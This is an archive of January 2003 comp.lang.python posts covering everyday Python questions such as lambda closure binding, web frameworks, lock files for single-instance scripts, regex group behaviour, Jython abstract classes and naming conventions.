Message-ID: <2kz_9.909$Fc3.97669323@newssvr21.news.prodigy.com>

Geoff Gerrietts <geoff at gerrietts.net> wrote:
>    value = tuple(map(ord,md5.new(myStr).digest()))

Most excellent...  It was only the ord that I originally
thought I needed, but tuple/map is so slick that now I don't
feel guilty about asking such a dumb question.

Thanks,
Mark

-- 
Mark Harrison
Pixar Animation Studios



From paul at boddie.net  Tue Jan 21 06:34:28 2003
From: paul at boddie.net (Paul Boddie)
Date: 21 Jan 2003 03:34:28 -0800
Subject: Python web development, really
References: <j9bo2v0lo0qfngcfpqc3ooj0bo881lhuuh@4ax.com>
Message-ID: <23891c90.0301210334.6d719987@posting.google.com>

Afanasiy <abelikov72 at hotmail.com> wrote in message news:<j9bo2v0lo0qfngcfpqc3ooj0bo881lhuuh at 4ax.com>...
> I would love to use Python instead of PHP for web development, but
> I have so far been confused by the options, or perhaps lack thereof,
> given my strict requirements. I would appreciate suggestions.

First of all, take a look at the PythonInfo Wiki:

  http://www.python.org/cgi-bin/moinmoin/WebProgramming

This site is being updated and covers a lot more than the Web
Frameworks Overview. Certainly, the aim is to be able to help people
in situations like yours.

[...]

> Possible solutions should do 99% of the following :
> 
> * Run on the same hardware I use currently
>
> * Be as fast or faster than Apache+PHP
>   (I'm sorry to say Zope/Roxen are not)
>   (This might mean it must use Apache)

Neither of these should be an issue.

> * Use a similar amount of memory
>   (ie. not Java/.NET related)

Yes, we don't want the lights to dim when that application server
starts up. ;-)

> * Provide a fairly equivalent framework w/ sessions, cookies, get, post
>   (Described in http://www.boddie.org.uk/python/web_frameworks.html)
>   (eg. I should not have to write code to parse query strings, etc.)
>   (PHP is somewhat unique in the ways it can bring in post variables)

I'm not familiar with PHP, but with most Python frameworks you don't
need to parse the raw HTTP inputs, and with many frameworks you have
convenient interfaces to those inputs. Webware provides a servlet-like
interface, although it's much more "sane" than the Java Servlet API
(in case you were wondering).

As for the "unique" aspects of PHP's variable handling, are you
referring to something like this...?

  http://www.php.net/manual/en/security.registerglobals.php

> * Allow all errors to be caught and handled so users never see them
>   (I currently send them to an email address)
>   (Users are notified an error occurred and a developer contacted)

I've been thinking rather seriously about better solutions than "we'll
just log the error and send an e-mail"; it seems to me that most
people don't have enough time to sift through lengthy log files, and
when e-mails arrive I'm sure most developers just want to delete them.

> * Allow sending of email

Python provides a number of ways of doing this, although an integrated
approach to application communications would be a lot more attractive
than firing up sendmail. I'm not sure of the state of Python
frameworks in this respect, although I suspect that Twisted integrates
the different communications "channels" better than most.

> * Allow sending of raw binary data, for restricted file downloading
>   (eg. http://example.com/sendfile.php?id=A6DE12FAB3...etc)
>   (This requires header manipulation, specifically the mime type)
>   (That sort of thing should be part of the framework 3 bullets up)

You mean full control over headers and the ability to bypass the
templating system?

> * Allow SSL secured authorize.net credit card processing
>   (I currently use PHP's libcurl+ssl module)

This is presumably where your application connects out to another
application - some kind of back-end integration. This should be
possible, yes, but I'm not aware of any components for it that just
plug into a Python framework or application server, although there
could be a product available for Zope. Meanwhile, various Webware
people may have experience with this kind of thing even though the
Webware framework doesn't have a "checkbox feature" entitled "credit
card processing".

> * Allow similarly powerful regex capabilities
>   (I currently use PHP's pcre module)

Python's re module should suffice.

> * Big plus, but optional, auto prepend/append files
>   (eg. Apache+PHP has .htaccess directives like this )
>   (    php_value auto_prepend_file "_header.php"     )
>   (    php_value auto_append_file "_footer.php"      )
>   (granular down to the directory 

That's an Apache thing, surely, so you might want to check to see
whether various frameworks and templating systems are open to such
external content manipulation - ie. that they generate page fragments
rather than full pages. I would guess that most systems are.

> * Finally, very optional plus, global application scoped variables
>   (PHP does NOT allow this, but I know why)
>   (I do not want to hear why you think this is bad)
>   (I know why it is good, I know why it can be bad)

If you're not talking about the various exploitable PHP features, but
are actually referring to "shared data" or "singletons" which are
available to all requests running within a given application, there
are various means of achieving this in the different frameworks. It
would surprise me if the Webware Wiki didn't cover this topic, for
example.

Paul



From jordan at krushen.com  Fri Jan 24 18:16:18 2003
From: jordan at krushen.com (Jordan Krushen)
Date: Fri, 24 Jan 2003 23:16:18 GMT
Subject: Looking for CORBA examples, or something better
References: <mailman.1043440544.16542.python-list@python.org>
Message-ID: <6PjY9.107141$Yo4.5235832@news1.calgary.shaw.ca>

Grzegorz Adam Hankiewicz wrote:
> CORBA is usually more code verbose than Java's RMI, because RMI
> knows it's talking to another Java. Is there something similar
> in Python? Something easier to write than CORBA but restricted to
> python. Maybe YAMI?
>
> Please point me towards the juicy documentation (huh, google is
> unreachable from my end now)

Check out Pyro (Python Remote Objects) for something Python-specific:

http://pyro.sf.net/

J.





From kevinethridge at yahoo.com  Sun Jan 12 22:59:27 2003
From: kevinethridge at yahoo.com (Kevin Ethridge)
Date: Mon, 13 Jan 2003 03:59:27 GMT
Subject: map() question...
References: <ubnU9.50476$DN6.1535465@twister.austin.rr.com>
Message-ID: <zQqU9.29692$aG4.1426039@twister.austin.rr.com>

Thanks for the responses to my question.

"Kevin Ethridge" <kevinethridge at yahoo.com> wrote in message
news:ubnU9.50476$DN6.1535465 at twister.austin.rr.com...
> Why doesn't map() work with the print function?
> ie map(print, ['Have', 'a', 'great', 'day.'])
>
>





From giles_brown at hotmail.com  Tue Jan 14 13:15:27 2003
From: giles_brown at hotmail.com (Giles Brown)
Date: 14 Jan 2003 10:15:27 -0800
Subject: [OT] Seeking Minimal Python Project Name
References: <3e22b7f7@news.swissonline.ch>
Message-ID: <57de9986.0301141015.30a66906@posting.google.com>

"F. GEIGER" <fgeiger at datec.at> wrote in message news:<3e22b7f7 at news.swissonline.ch>...
> Seems somebody has started a competition in finding names for Minimal
> Python.
> 
> Minimal Python -> Mython.
> 
> Children's Python (this kind of pythons really exists, German:
> Zwergpython) -> Chython
> 
> Small Python -> Smython
> 
> Dwarf + Python -> Dwython

Taking a similar approach you could have: (s)elf (h)osting (py)thon -> shpy
(to be pronounced like spy by someone doing a bad sean connery impression.)

Giles Brown



From bdash at gmx.net  Sun Jan  5 07:58:37 2003
From: bdash at gmx.net (Mark Rowe)
Date: Mon, 06 Jan 2003 01:58:37 +1300
Subject: lambda semantics in for loop
In-Reply-To: <280e901b.0301050436.b4e501d@posting.google.com>
Message-ID: <67E9D2B0-20AD-11D7-BF53-00039344A992@gmx.net>

On Monday, January 6, 2003, at 01:36 AM, Henk Punt wrote:

> Hi,
>
> When I have the following bit of python code:
>
>>>> l = []
>>>> for i in range(10):
> ...     l.append(lambda x: x + i)
>
> I would expect:
>
> l[0](0) = 0
> l[1](0) = 1
>
> l[0](1) = 1
> l[1](1) = 2
>
> etc.
>
> instead
>
> l[0](0) = 9
> l[1](0) = 9
>
> l[0](1) = 10
> l[1](1) = 10
>
> It seems that the 'i' in the lambda binds to the last value of i in the
> for loop.
> Is this because 'i' is really a pointer and not the value of 'i' 
> itself?.
> Please enlighten me!,
>
> How do I modify the example so that I would get my expected semantics.
> Should I copy 'i' to force the creation of a new object?, If so how 
> would
> this work in the case where i is a string. I've tried to coerce python
> into making a deepcopy of a string so that id(s) != id(copy(s)) but 
> I've
> not been able to do that also.
>
> Thanx already,
>
> Henk Punt.

 From the Python Reference manuals section on Naming on Binding 
(http://www.python.org/doc/current/ref/naming.html):
If a name is bound in a block, it is a local variable of that block. If 
a name is bound at the module level, it is a global variable. (The 
variables of the module code block are local and global.) If a variable 
is used in a code block but not defined there, it is a free variable .

In your case, the variable i is bound at module level and is therefore 
treated as a global variable.  This means that its value when you call 
the lambda functions is used.  To get around this you can make i local 
to the lambda by passing it as a default argument like so:

 >>> l = []
 >>> for i in range(10):
...   l.append(lambda x, i=i: x + i)
...
 >>> l[0](0)
0
 >>> l[1](0)
1
 >>> l[9](0)
9
 >>> l[5](5)
10
 >>>


-- Mark Rowe
bdash at clear.net.nz





From reageer.in at de.nieuwsgroep  Thu Jan 16 09:24:37 2003
From: reageer.in at de.nieuwsgroep (Rene Pijlman)
Date: Thu, 16 Jan 2003 15:24:37 +0100
Subject: reading from a zipped file
References: <v2df0nqomimr47@corp.supernews.com>
Message-ID: <a4gd2vg5c7l7mq9fr583jakf827piora5e@4ax.com>

Lance:
>I have a zip file [...] Is there a Python module that will help?

http://www.python.org/doc/current/lib/module-zipfile.html

-- 
Ren? Pijlman

Wat wil jij leren?  http://www.leren.nl



From tmoyer at talk.com  Thu Jan 30 12:06:37 2003
From: tmoyer at talk.com (Todd Moyer)
Date: 30 Jan 2003 09:06:37 -0800
Subject: Jython TagLibs in JSP
Message-ID: <6437096f.0301300906.6db26790@posting.google.com>

I'm trying to write a JSP TagLib in Jython following the example from
Jython for Java Programmers (pages 407-408).  It's being found by the
app server (Orion in this case), but the methods aren't matching up
correctly.  Anyone out there have any success doing this?

Cheers,
Todd Moyer



From theller at python.net  Wed Jan 22 02:49:41 2003
From: theller at python.net (Thomas Heller)
Date: 22 Jan 2003 08:49:41 +0100
Subject: Easiest way to include C libraries
References: <4378fa6f.0301211616.3b353722@posting.google.com> <3E2DEF9F.A8596B23@engcorp.com>
Message-ID: <bs29tyi2.fsf@python.net>

Peter Hansen <peter at engcorp.com> writes:

> Marc wrote:
> > 
> > Basically I have to include a bunch of header files (.h for C) or .dll
> > files (for Tcl) and be able to access them from Python code. These
> > files are quite large, so any manual intervention will be time
> > consuming. The new release of Python mentioned some new ways of
> > extending it, but I'm not sure how many people have used these new
> > functions or what problems they might have.
> 
> 
> Look into "calldll" or the newer potential replacement ... uh.. dang!
> What was the name of that thing?  Why didn't I bookmark it. :-(
> 
> (No doubt some kind soul will post the name and save us the trouble
> of searching futilely for it... so far Google hasn't helped me.)

ctypes.

http://starship.python.net/crew/theller/ctypes.html

Thomas



From wyojustin at hotmail.com  Tue Jan 21 21:27:04 2003
From: wyojustin at hotmail.com (Justin Shaw)
Date: Tue, 21 Jan 2003 21:27:04 -0500
Subject: 1-line idiom to replace if blocks
References: <3e2cf624@post.usenet.com> <3E2D0318.B792D649@alcyone.com> <yu99smvmjznd.fsf@europa.research.att.com>
Message-ID: <T9ecnbxWr4LnnLOjXTWc3g@comcast.com>

> And, of course, if you really want short-circuiting, you can write this:
>
>     result=[lambda:value-if-false, lambda:value-if-true][condition]()
>
I like it except I'd add "[not not condition]" to ensure a 0 or a 1.
Justin Shaw





From adalke at mindspring.com  Fri Jan 10 12:36:54 2003
From: adalke at mindspring.com (Andrew Dalke)
Date: Fri, 10 Jan 2003 10:36:54 -0700
Subject: YAI: syntax for preset locals without using dummy args with defaults
In-Reply-To: <avmoeu$v8p$0@216.39.172.122>
References: <avmoeu$v8p$0@216.39.172.122>
Message-ID: <avn0ps$nsp$1@slb9.atl.mindspring.net>

Bengt Richter wrote:
>     def foo(x, y=default, z=some_expression):
>         ...
> 
> where the purpose is not to have three parameters, but two
> plus a local binding (z) in foo to the value of some_expression
> evaluated in the def-time environment. z may bind something not
> accessible later at call time, or it may be just to avoid recalculating
> an expensive expression at each function call.

I offer the following to be able to compare this proposal with
what I've done to solve this problem


def _foo(x, y, z = some_expresssion):
   ....

def foo(x, y = default):
   _foo(x, y)

However, I do this only rarely (mostly for recursive functions)
since it doesn't gain all that much over

_default_z = some_expression

def foo(x, y = default):
   z = _default_z
   ...



					Andrew
'					dalke at dalkescientific.com




From claird at lairds.com  Tue Jan 28 10:22:32 2003
From: claird at lairds.com (Cameron Laird)
Date: Tue, 28 Jan 2003 15:22:32 -0000
Subject: How can I avoid running a python script multiple times?
References: <mailman.1043752190.21631.python-list@python.org> <3E3677E5.5070901@Linux.ie>
Message-ID: <v3d81ok6cbhse4@corp.supernews.com>

In article <3E3677E5.5070901 at Linux.ie>,  <Padraig at Linux.ie> wrote:
>Grzegorz Adam Hankiewicz wrote:
>> Hi.
>> 
>> Using the concurrency jargon, I'm trying to mark python scripts as
>> 'critical processes' which are not allowed to be run more than one
>> at the same time (I'm constrained to unix environments, BTW). To
>> do so, and following the logic of a bash script I had, I've created
>> a function which is passed the real entry point of the script.
>
>[snip]
>
>> def run_if_possible(entry_point):
>>    """Given a function, it is called if there's no previous process
>running"""
>>    permission = 0
>>    lock_path = "%s.lock" % os.path.realpath(sys.argv[0])
>>    if os.path.isfile(lock_path):
>>       file = open(lock_path, "rt")
>
>what does t do in "rt" ?
>Hmm this didn't give an error for me: file = open(lock_path, "wqst")
>So unrecognised options must be ignored. I tried x also, but this
>seemed to set the exclusive bit? Where are these documented?
>Ah, OK on Linux (glibc):
>     info libc "Opening Streams"
>This shows that the x is glibc specific and sets O_EXCL
>on the subsequent open() call (which is what you want).
>
>You could just do os.system("sematree ...") as I've worked
>this out already: http://www.pixelbeat.org/sematree/
>
>Note a simple atomic locking mechanism could be to
>try and create a directory, which should work over
>NFS etc. Might be simpler that messing with exclusive
>bits on files?
>
>Note also sockets would be troublesome as you'll
>have issues with SO_REUSEADDR for one thing.
>
>P?draig.
>

For Unix, or multiple platforms centered on Unix, my favorite
singleton resource manager pertinent to this discussion is the
socket service.  <URL: http:/wiki.tcl.tk/singleton > has a 
discussion that's easily adapted to Python.
-- 

Cameron Laird <Cameron at Lairds.com>
Business:  http://www.Phaseit.net
Personal:  http://phaseit.net/claird/home.html



From woetzel at gmd.de  Wed Jan  8 10:01:45 2003
From: woetzel at gmd.de (Gerd Woetzel)
Date: 8 Jan 2003 16:01:45 +0100
Subject: "%s" vs unicode
References: <1GtMGLAYnyG+Ew34@jessikat.demon.co.uk> <m3u1gkwvui.fsf@mira.informatik.hu-berlin.de>
Message-ID: <3e1c3d59$1@news.fhg.de>

martin at v.loewis.de (Martin v. Loewis) writes:

>It follows the general principle that, when combining byte strings and
>Unicode strings, the byte string will be converted to Unicode, not
>vice versa.

<imho>
Unfortunately the "general principle" is wrong.
There is a canonical embedding of Unicode strings into byte strings (which
is UTF-8) but no canonical embedding of byte strings into Unicode strings.
Hence it should be vice versa.
</imho>

Its a real shame that I have no acces to the bvd's time machine :-)

Regards,
Gerd



From wilk-spamout at flibuste.net  Sun Jan 12 13:58:25 2003
From: wilk-spamout at flibuste.net (William)
Date: 12 Jan 2003 19:58:25 +0100
Subject: Python for CGI is dead?
References: <cb035744.0301120614.3b19d223@posting.google.com>
Message-ID: <87fzryyz3i.fsf@flibuste.net>

hwlgw at hotmail.com (Will Stuyvesant) writes:

> I am spending rather much time trying to build a project using CGI
> scripts written in Python.  But am I wasting my time?  I could not
> find much Python hosting, and none free (except a french one that I
> can not register into) for Python CGI scripts!  

If you want a french hosting, look at
http://wikipython.tuxfamily.org/moin.cgi/HebergeursWeb

For the others, I think the problem come with RH who provide python2 by
default only in the last release.

-- 
William Dode - http://flibuste.net



From Kyler at news.Lairds.org  Fri Jan 10 22:25:59 2003
From: Kyler at news.Lairds.org (Kyler Laird)
Date: Sat, 11 Jan 2003 03:25:59 GMT
Subject: How do I get to *all* of the groups of an re search?
References: <sl51f-6dj.ln1@news.lairds.org> <v1titmb0454v58@corp.supernews.com> <oe23f-ta3.ln1@news.lairds.org> <v1tq06bo2mjg14@corp.supernews.com> <qol3f-p27.ln1@news.lairds.org> <avni6r$im1$1@slb2.atl.mindspring.net>
Message-ID: <dpe4f-52b.ln1@news.lairds.org>

Andrew Dalke <adalke at mindspring.com> writes:

>> As it is, I am resigned to understanding that Python's re
>> module makes an arbitrary and undocumented decision to return
>> the last instance of a match for a group.  I'm embarrassed.

>It is documented, and behaves as documented.

Ah!  It's documented in multiple places.  The quote I
gave before did not mention any further restrictions to
"the contents of a group can be retrieved after a match
has been performed,"

>http://www.python.org/doc/current/lib/match-objects.html

Thank you.  Any idea how I should have know to find that from
here?
	http://www.python.org/doc/current/lib/re-syntax.html

>] If a group number is negative or larger than the number of
>] groups defined in the pattern, an IndexError exception is
>] raised. If a group is contained in a part of the pattern that did not 
>] match, the corresponding result is None. If a group is contained
>] in a part of the pattern that matched multiple times, the last
>] match is returned.

>As far as my research went, no standard regexp library could provide
>that sort of information.  They only give the last group which
>matched a pattern.

Yes, and that surprises me.  It seems so obvious that it
should return all matched pieces and so arbitrary that it
only returns the last one.

>I ended up writing my own regexp engine (!), Martel, which is at
>http://www.dalkescientific.com/Martel/ and based on mxTextTools.

Hmmmm...that's tempting.  I try to limit myself to built-in
tools when I can, but it's still tempting.  I appreciate
the reference.

>> At the very least, the documentation should be changed to say
>> that only the last match of a group will be returned.  Better
>> still would be an explanation of why the last one was chosen
>> and how that makes Python's behavior more predictable.

>It is documented.  

It's not documented where a user is likely to look for the
RE syntax.  The RE syntax page gives what appears to be a
very straightforward explanation of groups.  I don't know
why a beginning Python user would think to look elsewhere
for some strange behavior.

>And it is consistent with other regexp libs,

I'm not as concerned about Python being like lots of other
languages as I am with it behaving the way a new programmer
might expect it to work after reading what appears to be a
canonical explanation.

>eg, I know Perl's works that way.  I have 2nd ed. of Friedl's
>regexp book, but I haven't read it yet and I can't find where
>he talks about it.  Still, this behaviour is highly consistent
>with the other regexp packages.

Regardless, do you find it useful?  Can you think of any time
when you want to match a bunch of things and just end up with
the last one?

>You can also solve this without regexps.

I can solve it lots of ways.  I went for what I thought was
going to be an elegant solution.  I'd like to have a tool
that works the way I expected the re module to work.

>Show me a module besides Martel which lets you get access to
>the parse tree.  I looked at about a dozen packages, read
>through Friedl's 1st edition book, and posted to various newsgroups
>looking for one.

I'm not at all interested in how popular the solution is.

--kyler



From jbperez808 at yahoo.com  Fri Jan 17 03:23:04 2003
From: jbperez808 at yahoo.com (Jonathan P.)
Date: 17 Jan 2003 00:23:04 -0800
Subject: iterating in reverse
References: <f57664b9.0301161546.37c85159@posting.google.com> <mailman.1042762951.20430.python-list@python.org>
Message-ID: <f57664b9.0301170023.69164076@posting.google.com>

> Get the Python 2.3 alpha, and it's really easy :)
> 
> >>> l = [1,2,3,4,5]
> >>> for i in l[::-1]:
> ...     print i
> ... 
> 5
> 4
> 3
> 2
> 1
> 
> -Andrew.

Ach...!  That's definitely the easiest on the 
eyes (wonder about the performance implications
though).  Still a bit of an eyesore... but we 
Python programmers are really too spoiled. ;-D



From andy at eastonwest.co.uk  Fri Jan 17 18:27:43 2003
From: andy at eastonwest.co.uk (andy)
Date: Fri, 17 Jan 2003 23:27:43 +0000
Subject: Coding standard: Prefixing variables to indicate datatype
In-Reply-To: <3E274C99.F8E2453B@alcyone.com>
References: <0BuV9.11459$CG6.203654@news4.e.nsc.no> <6ee58e07.0301161523.65f3343b@posting.google.com> <3E274C99.F8E2453B@alcyone.com>
Message-ID: <200301172327.43334.andy@eastonwest.co.uk>

I tried a bit of Novell NDS client programming, a while back, with Delphi.  
Their Delphi API is RIDDLED with 'elongated' hungarian prefixes; instead of 
just c for char, s for string, i for integer and so on, they have developed a 
'system' of long 3-5 character prefixes for each data type.  Sometimes, you 
need to convert from, say, a Delphi Object string, to a zero-delimited 
string, and then pass the *pointer* to this to the API, like this:

	strUserName: string;

	stzUserName: array [128] of char;

	lpstzUserName: pointer to char;

Ugly as sin, and it makes justabout any half-line equation three times as 
long, and utterly indistinguishable.

With Python, I generally only use any form of hint if I'm converting from one 
data type to another, and it's not a 'throw-away' assignment.  I'd do this 
sort of thing (dubious contrived example):

	x=getanum() # x now contains a number
	xstr=str(x)
	# do stuff with xstr

As most people have said, it's not normally necessary, and just adds to the 
complication (and thus detracts from the readability) of your code.  I feel 
that using a suffix is less likely to obsure the purpose of a variable than a 
prefix, but even then, if the code begins to get too unwieldy, I'd hack the 
suffix off to get control back!

regards, 
-andyj




From ajs at ix.netcom.com  Sun Jan 19 19:08:31 2003
From: ajs at ix.netcom.com (Arthur)
Date: Sun, 19 Jan 2003 19:08:31 -0500
Subject: license
Message-ID: <000901c2c018$121cca60$c560f6d1@Arts>

Tim writes-

>Not for that alone: the PSF license explicitly grants permission to make
>modifications and distribute derived works. Every OSI-certified license
>does, since freedom to make derived works is part of the Open Source
>definition (point 3 at <http://opensource.org/docs/definition.php>). While
>I am not a lawyer, it was intended that it be *hard* to violate the Python
>license. The license does require that derivative works include "a brief
>summary of the changes made to Python 2.3".

But understand, if he was redistributing Python with some notification that
what one is receiving is modified from Python2.3, there is not an issue.

The facts here -

One has a standard Python installation. That is assumed by the third party
distribution. And with no warning that it intends to do so, that the 3rd
party package you download modifies the standard installation, and gives no
notification that it did so.

And the modification does not even reverse itself if you uninstall that
package.

I think that's quite ugly.

And thought someone might agree.

its refreshing to know I'm *never* right.

Art





From hanzac at cmmail.com  Wed Jan 15 20:56:17 2003
From: hanzac at cmmail.com (hanzac)
Date: 15 Jan 2003 17:56:17 -0800
Subject: How can I call the functions in a DLL
Message-ID: <a8a1d9ad.0301151756.2fc8a968@posting.google.com>

HI,
I once used win32api.LoadLibrary("xxx.dll") and stored the HANDLE in d
and used win32api.GetProcAddress(a, "xxx")
and it returned a int value of the function address.

But how can I call the function?
Can someone guide me? Thanks first.:-)



From phr-n2003b at NOSPAMnightsong.com  Fri Jan 17 18:38:39 2003
From: phr-n2003b at NOSPAMnightsong.com (Paul Rubin)
Date: 17 Jan 2003 15:38:39 -0800
Subject: iterating in reverse
References: <f57664b9.0301161546.37c85159@posting.google.com> <3E274D34.8F0C4348@alcyone.com> <f57664b9.0301170105.a7d95fa@posting.google.com> <x7el7b4qiv.fsf@guru.mired.org> <yyywul3skw6.fsf@adams.patriot.net> <eppstein-FD9776.11512917012003@news.service.uci.edu> <yyyof6fseh0.fsf@adams.patriot.net>
Message-ID: <7xadhz1h4w.fsf@ruckus.brouhaha.com>

Nick Vargish <nav at adams.patriot.net> writes:
> I'm summing the number of bytes used in a file repository (I wish I
> could just use "du", but alas...), so negative numbers are not a
> factor. But I like the generator approach, very tricky.

How about something like (untested):

    def convert(nbytes):
       suffixes = ['K', 'M', 'G', 'T', 'P', 'E']
       s = ''
       while nbytes >= 1024:
          nbytes /= 1024.0
          s = suffixes.pop(0)

       return '%.3f%c'% (nbytes, s)



From fgeiger at datec.at  Fri Jan 17 02:30:11 2003
From: fgeiger at datec.at (F. GEIGER)
Date: Fri, 17 Jan 2003 08:30:11 +0100
Subject: Coding standard: Prefixing variables to indicate datatype
References: <0BuV9.11459$CG6.203654@news4.e.nsc.no>
Message-ID: <3e27b11c@news.swissonline.ch>

Never do this! Such conventions prevent you from writing OO software.

Example: Why should a name be a string? A name is a class Name. It has to
have an interface, not a type. If it is meant to be used in a string
context, it has to provide a string operator. It's all about behavior, not
about type.

Cheers
Franz

"Thomas Weholt" <2002 at weholt.org> schrieb im Newsbeitrag
news:0BuV9.11459$CG6.203654 at news4.e.nsc.no...
> In my day-job I use Delphi/Object Pascal. My firm has a coding-standard
> where we prefix all variables with a single character to indicate
datatype;
> strings are prefixed with s, integers with i, floats with f etc. etc.
>
> Are there any standards like this for Python? Or hints, tips, opinions
> related to this topic? I do believe it could make source more
understandable
> and easier to debug/maintain when used in larger projects.
>
> All thoughts appreciated.
>
> Best regards,
> Thomas
>
>





From gedb at rushcoding.co.uk  Fri Jan  3 06:48:42 2003
From: gedb at rushcoding.co.uk (Ged)
Date: 3 Jan 2003 03:48:42 -0800
Subject: Problems extending an abstract Java class in Jython.
References: <1a81ad90.0301020703.439956c5@posting.google.com>
Message-ID: <1a81ad90.0301030348.2d966f9@posting.google.com>

I've refined the problem a little.  I now have a Java class and a
Jython script.

First of all is my Abstract Java class.

-----------------------------------------------------------
01 public abstract class Abstract {
02	
03    public Abstract() {
04       System.out.println("Java Class Abstract Constructing");
05       // showInt(5);
06       System.out.println("Java Class Abstract Constructed");
07    }
08	
09    public abstract void showInt(int i);
10		
11    public void showSix() {
12       showInt(6);
13    }
10 }
--------------------------------------------- Abstract.java

My Jython script looks like this.
-----------------------------------------------------------
01 import Abstract
02
03 class extends(Abstract):
04
05    def __init__(self):
06       print "Jython class 'extends' initialised"
07
08    def showInt(self, i):
09       print "showInt called with : ", i
10
11		
12 x = extends()
13 x.showInt(6)
14 x.showSix()
------------------------------------------------ Extends.jy

The output is as expected:

Jython class 'extends' initialised
Java Class Abstract Constructing
Java Class Abstract Constructed
showInt called with :  6
showInt called with :  6



However, if I decomment line 5 in Abstract.java, so that the system
attempts to call the abstract method in the constructor the output is
an error:

Jython class 'extends' initialised
Java Class Abstract Constructing
Traceback (innermost last):
  File "D:\gedbs\Java\lib\uk\co\RushCoding\extend.jy", line 12, in ?
AttributeError: abstract method "showInt" not implemented


Obviously this can be solved by using an explicitly called init()
function rather than the constructor, but since I'm actually extended
a public api I'd prefer to avoid this.

Is there any way of calling an extended abstract method in the
constructor, or preventing the abstract classes default constructor
from being called?



From andrew-pythonlist at puzzling.org  Wed Jan 29 03:04:21 2003
From: andrew-pythonlist at puzzling.org (Andrew Bennetts)
Date: Wed, 29 Jan 2003 19:04:21 +1100
Subject: formatted output of mutable data types
In-Reply-To: <v3f10h88o2vodb@corp.supernews.com>
References: <v3f10h88o2vodb@corp.supernews.com>
Message-ID: <20030129080421.GA11581@frobozz.local>

On Tue, Jan 28, 2003 at 11:34:38PM -0800, Hilbert wrote:
> Hello,
> 
> Is there a way to output a more visual representation of a mutable data type
> (eg. dictionary) like perl's Data::Dump?

You probably want the pprint module.

-Andrew.





From lac at strakt.com  Sun Jan 26 15:57:13 2003
From: lac at strakt.com (Laura Creighton)
Date: Sun, 26 Jan 2003 21:57:13 +0100
Subject: Emacs has eaten my python tabs!!! 
References: <1043563632.4966.71.camel@refugeeMedia> <001b01c2c542$5a8e8c00$ba01010a@local> 
Message-ID: <200301262057.h0QKvDjL011654@ratthing-b246.strakt.com>

Good.  You didn't want them anyway, because, as you found, it makes
pasting other people's sources in a real pain.  From inside emacs,
assuming that your suorce code lines up properly, do M-x untabify.
Bingo.  Nothing but spaces.  Code will work fine now.

Laura (author of PEP 666, utterly uninterested in whether indenting
       is better done by tabs or spaces, but who knows how to fix this
       particular problem in emacs)




From vic at innocent.com  Tue Jan 14 12:32:24 2003
From: vic at innocent.com (Vic)
Date: 14 Jan 2003 09:32:24 -0800
Subject: portalocker in Win98
Message-ID: <fe35b211.0301140932.62d3d334@posting.google.com>

Hi All.

I'm brand new to Python. I saw Roundup working at work, and decided to
try an installation at home.

The initial testing (run_tests) fails with 95 errors - these all
appear to be file-locking problems. I've scoured the web, and found
out about the unsupported file-lock stuff used by portalocker.py.

So - has anyone got this going on Win98? Is there a potted solution I
can use, or have I got loads of re-coding to do (I'm a C programmer,
so thst's not going to happen any time soon...)

Thanks!

Vic.


[p.s. this is my first time on this NG, so I'd very much appreciate an
emailed copy of any responses, if anyone feels so inclined ;-)]



From max at alcyone.com  Mon Jan 13 07:53:29 2003
From: max at alcyone.com (Erik Max Francis)
Date: Mon, 13 Jan 2003 04:53:29 -0800
Subject: Seeking Minimal Python Project Name
References: <mailman.1042456912.31274.python-list@python.org>
Message-ID: <3E22B6C9.FD288E15@alcyone.com>

Kow K wrote:

> Phyton          (simple mutation)

This one reminds me of Phaethon (FAY uh thon), umlaut over the _e_ if
you want to be fancy.  That's the son of Helios (the Sun god) who lost
control of the sun chariot and had to get zapped by Zeus in order to
save the world.

A minor planet, (3200) Phaethon, also bears the name.  It was discovered
by infrared studies in 1983, and has an enormously eccentric orbit (with
an eccentricity of 0.89) that takes it well inside the orbit of Mercury
and almost out to the asteroid belt between Mars and Jupiter.  Living up
to its namesake, there's more to the object than meets the eye:  It's
thought to be an extinct or dormant comet and is probably the materials
source of the Geminids meteor shower (which peaks in mid-December).

-- 
 Erik Max Francis / max at alcyone.com / http://www.alcyone.com/max/
 __ San Jose, CA, USA / 37 20 N 121 53 W / &tSftDotIotE
/  \ Honesty has nothing to hide
\__/ Joi
    CAGE / http://www.alcyone.com/pyos/cage/
 A cellular automaton simulation system in Python.



From peter at engcorp.com  Sun Jan  5 21:36:29 2003
From: peter at engcorp.com (Peter Hansen)
Date: Sun, 05 Jan 2003 21:36:29 -0500
Subject: Source Forge CVS
References: <8amcnSAFceW664qjXTWcpQ@comcast.com> <d571ae53.0301050835.792a1826@posting.google.com>
Message-ID: <3E18EBAD.1ED2A37D@engcorp.com>

Jonathan Ellis wrote:
> 
> "Justin Shaw" <wyojustin at hotmail.com> wrote in message news:<8amcnSAFceW664qjXTWcpQ at comcast.com>...
> > I have a project set up on source forge, SpellQuest,  I need to set up the
> > CVS repository.  Can someone tell me how to do it from Windows or Linux.
> > The Sourceforge how to tells you to "log into the CVS server"  what is that?
> > Is it different from spellquest.sf.net?  I'd appreciate the set by step
> > commands if anyone can fill them in for me.
> 
> kind of a meta-answer: the best cvs front-end for windows (or linux,
> for that matter) is smartcvs.  the free version is quite good, and if
> you want the extra features in the payware version it's quite
> affordable.

Just curious, if you happen to have the experience with both:
how does smartcvs compare with WinCVS, which we use at work
and find quite effective, if somewhat of a resource hog?

-Peter



From gyromagnetic at excite.com  Wed Jan 22 13:16:13 2003
From: gyromagnetic at excite.com (gyro)
Date: Wed, 22 Jan 2003 11:16:13 -0700
Subject: Functions 'knowing' other functions in a module
Message-ID: <3e2edfed@news.ColoState.EDU>

Hi,
I have an application in which it would be useful for functions within 
the module in which they reside to be able to list the other functions 
(and their arguments) in the module.

Currently, I am doing the following:

mymod.py
----
def _enum_functions():
     import inspect

     me = __import__('mymod')
     efuncs = []

     funcs = inspect.getmembers(me,inspect.isfunction)

     for fname,func in funcs:
         fcode = func.func_code
         if not fname.startswith('_'):
             num_args = fcode.co_argcount
             efuncs.append((fname,fcode.co_varnames[:num_args]))
     return efuncs


def do_something_with_function_list():
     efuncs = _enum_functions()
     ...

----

This approach seems very kludgy, especially the __import__('mymod') 
line. Is it necessary to 'self import' the module to carry out this 
task? Any suggestions for a better approach? I'm sure that I'm missing 
something obvious.
Right now, it does not make sense to move the functions into a class, so 
approaches of this nature aren't currently feasible.


On an unrelated note, is it possible to use string interpolation in doc 
strings? I tried a few different approaches to this, none of which 
worked. If this is not possible, what is the reason?

Thanks.

-g




From aztech1200 at yahoo.com  Sat Jan  4 10:12:12 2003
